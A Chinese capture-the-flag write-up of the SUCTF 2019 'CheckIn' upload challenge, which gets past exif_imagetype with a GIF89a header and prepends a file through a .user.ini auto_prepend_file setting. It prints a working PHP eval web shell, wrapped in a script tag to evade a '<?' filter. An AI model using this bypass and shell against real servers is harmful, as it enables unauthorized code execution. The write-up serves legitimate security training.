[SUCTF 2019]CheckIn
阿新 • • 發佈:2020-09-08
0x00
開啟web如下,可以看到這是一道上傳的題
新建一個檔案命名為3.php,進行上傳,得到如下結果
發現被過濾了,進行模糊測試,發現php相關拓展名的都已被過濾掉,但是上傳其他型別檔案時顯示不為jpg型別檔案(如下),可以知道使用的是exif_imagetype函式{通過檔案幻數(檔案頭)來判斷檔案型別}進行判斷
通過谷歌的外掛,發現該站點使用的是nginx
所以使用.htaccess繞過行不通,因為它是Apache的配置檔案
這裡我們採用.user.ini來繞過--》.user.ini
繞過exif_imagetype函式的檢查,我們可以通過新增jpg檔案的檔案頭(GIF89a)
建立檔案.user.ini內容如下
GIF89a
auto_prepend_file=01.jpg
## auto_prepend_file將01.jpg檔案的內容新增到當前目錄下的php檔案的開頭
上傳得到結果如下
我們繼續建立01.jpg檔案內容如下
GIF89a
<?php @eval($_POST['pass']);?>
上傳得到結果如下,發現對內容也進行了過濾,過濾了<?
我們可以使用如下來繞過
GIF89a
<script language="php"> @eval($_POST['pass']);</script>
重新上傳,得到結果
我們直接訪問上傳後地址的index.php,可以看到01.jpg中的內容已經被包含
使用蟻劍進行連線,連線成功
獲取flag
0x01 總結
主要考察瞭如下幾點:
- 1.exif_imagetype函式繞過
exif_imagetype函式通過檢查檔案幻數(檔案頭)來判斷是不是jpg格式檔案
- 2.
.user.ini
上傳繞過的使用